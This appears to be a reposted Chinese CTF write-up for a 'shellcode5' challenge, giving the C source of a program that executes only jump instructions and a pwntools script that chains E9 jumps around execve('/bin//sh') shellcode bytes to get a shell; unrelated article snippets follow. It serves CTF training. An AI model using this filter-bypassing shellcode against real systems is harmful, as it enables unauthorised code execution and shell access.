暑期集训shellcode5(手搓机器码)

news/2024/11/16 16:26:20/文章来源:https://www.cnblogs.com/V1V0/p/18305556

拖进ida里面反汇编再让人工智能分析(我是废物)(后来给源码了,直接上源码)

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>int upkeep() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);
}int validate(char* ptr, size_t len) {csh handle;cs_insn *insn;int ret = 1;if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {return 0;}size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);size_t success_len = 0;if (count > 0) {for (size_t j = 0; j < count; j++) {ret &= insn[j].mnemonic[0] == 'j';success_len += insn[j].size;}cs_free(insn, count);} else {return 0;}cs_close(&handle);ret &= len == success_len;return ret;
}int main() {upkeep();char code[4096];size_t n = read(0, code, 0x1000);if (n > 0 && validate(code, n)) {((void (*)())code)();}return 0;
}

发现本题的逻辑是只能输入‘j’相关的(jmp)指令,先补一下这里的知识

jmp

思路

简单来说就是可以利用jmp从当前指令跳转并执行下一条指令,将getshell的过程一步步分解执行

在ida里面简单实践一下

我们可以看到从当前指令到下一条指令只需要E9 01 00 00 00即可,所以我们每一条指令前都要加上这段。
接下来就是上网找较短的shellcode改成汇编指令再改成机器码,注意E9后只跟4个字节的指令,若超过4个字节需要替换成同义短于4个字节的指令。

WP

from pwn import *sh = remote('127.0.0.1',42213)
#sh = process("./shellcode5")
context(log_level = 'debug', os = 'linux', arch = 'amd64')shellcode = '''
\xE9\x01\x00\x00\x00
\xE9\x48\x31\xFF\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xF6\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xD2\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xC0\x90\xE9\x01\x00\x00\x00
\xE9\x48\x31\xDB\x90\xE9\x01\x00\x00\x00
\xE9\x50\x90\x90\x90\xE9\x01\x00\x00\x00
\xE9\xB3\x68\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x73\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x6E\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x69\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x62\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\xC1\xE3\x08\xE9\x01\x00\x00\x00
\xE9\xB3\x2F\x90\x90\xE9\x01\x00\x00\x00
\xE9\x53\x90\x90\x90\xE9\x01\x00\x00\x00
\xE9\x48\x89\xE7\x90\xE9\x01\x00\x00\x00
\xE9\xB0\x3B\x90\x90\xE9\x01\x00\x00\x00
\xE9\x0F\x05\x90\x90'''#gdb.attach(sh)
#pause()
shellcode=shellcode.replace('\n',' ')
shellcode=shellcode.replace(' ','')#print(shellcode)sh.send(shellcode)
sh.interactive()

注意要将空格和换行符都删掉
当然也可以写汇编代码()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/744754.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL学习笔记——索引

索引 0.前言 本文是跟着网课学习的时候随手记录的一篇关于MySQL索引的学习笔记 1.索引概述 1.1.索引介绍 索引(index)是帮助MySQL高效获取数据的数据结构(有序)。在数据之外,数据库系统还维护着满足 特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据, 这样…

快速部署 HBase 测试环境

快速部署 HBase 测试环境 第一步:下载软件,在HBase官网下载最新版, 找到 bin,点击下载,比如我这里下载的是 hbase-2.5.6-bin.tar.gz 第二步:解压软件 $ tar -zxvf hbase-2.5.6-bin.tar.gz $ cd hbase-2.5.6第三步:启动软件 $ ./bin/start-hbase.sh $ ./bin/hbase-daemon…

【YashanDB知识库】用户密码带@字符时exp和imp无法使用

【问题分类】数据导入导出 【关键字】YAS-00404、数据导入导出、密码、特殊字符@、exp、imp 【问题描述】 当用户密码带@字符时,使用exp和imp导入导出数据,使用转义符仍然出现报错且yasql可以使用相同的转义方式正常登录 【问题原因分析】exp和imp的密码没有适配特殊字符 【解…

写了一个json小工具,希望大家体验(Mac平台)

用rust写了一个json小工具“JSON PICKER”,欢迎大家试用:https://github.com/davelet/json-picker/releases/tag/V0.2动机是平常开发的时候,经常遇到大段json,里面的很多字段是不需要的。我所在的项目组在接口对接上出现了reponse达到数兆字节的情况市面上已经有不少json工…

Go微服务开发指南

在这篇深入探讨Go语言在微服务架构中的应用的文章中,我们介绍了选择Go构建微服务的优势、详细分析了主要的Go微服务框架,并探讨了服务发现与注册和API网关的实现及应用。关注TechLead,复旦博士,分享云服务领域全维度开发技术。拥有10+年互联网服务架构、AI产品研发经验、团…

共享库soname机制

介绍共享库soname命名机制目录前言共享库版本号共享库命名机制realnamesonamelinkname总结参考文章 前言 在使用第三方库时,我们会发现第三方库会提供一组文件,他们的后缀一般是.so(如libname.so),.so.x和.so.x.y.z。本文讨论他们之间的关系。 共享库版本号 共享库一般会由…

idea打开/导入maven项目 + 移除

——————如何导入 方法1———— 右侧maven——》点击加号找到要但如项目的pom.xml文件——》ok 方法2———— file——》project structure……modeles——》加号 import module 找到要导入项目的pom.xml文件——》ok 右下角apply——》ok 这两个方法都可以导入 ———…

抢占智能驾驶“智高点”,仿真测试或将是必备的“加速剂”

​在智能驾驶系统的开发中,参考V模型开发流程,仿真测试通常包含多个阶段:MIL(模型在环)—— 用于验证理论模型,软件在环(SIL)—— 测试软件组件,硬件在环(HIL)—— 集成硬件组件进行测试,车辆在环(VIL)—— 模拟车辆与环境的交互,以及实车道路测试(包括封闭场地…

Tita的OKR:产品经理的23个OKR案例(下)

让我们把产品管理和产品负责人的活动分为4个大的领域,有时是一个人垂直地处理所有的问题,有时是战略和战术的责任分工,所以要相应地选择。愿景和战略 构思、调整、验证、优先级确定 构建、衡量、学习 发布和增长接下来我们继续讨论,让我们把这4个大的领域分解成小的领域,让…

咬文嚼图式的介绍二叉树、B树/B-树

网上的很多博客都是只有文字说明,比较抽象,所以笔者决定自己画一些图来解释二叉树,二叉搜索树,B树/B-树。前言 因为本人天资愚钝,所以总喜欢将抽象化的事务具象化表达。对于各类眼花缭乱的树,只需要认知到它们只是一种数据结构,类似数组,切片,列表,映射等这些耳熟能详…

“码”力全开!高效开发就靠这款神器

即构致力于用领先的音视频技术帮助开发者即刻构建实时互动世界。通过大量的用户调研了解到,兼顾高效开发和个性化UI以实现产品快速上线,是许多开发者的共同需求。为此,即构推出了含标准化 UI 的音视频互动 SDK —— UIKits,帮助开发者应对互动应用开发中的各种挑战。基于广…

Linux-awk

awk 3.4.2 功能 过滤 取行 取列 统计计算 数组 函数3.4.3 格式 awk 条件 动作 (找谁 干啥) awk [options] commands filenames awk [options] -f awk-script-file filenames3.4.4 awk处理数据的方式:1、进行逐行扫描文件,从第一行到最后一行 2、寻找匹配的特定模式的…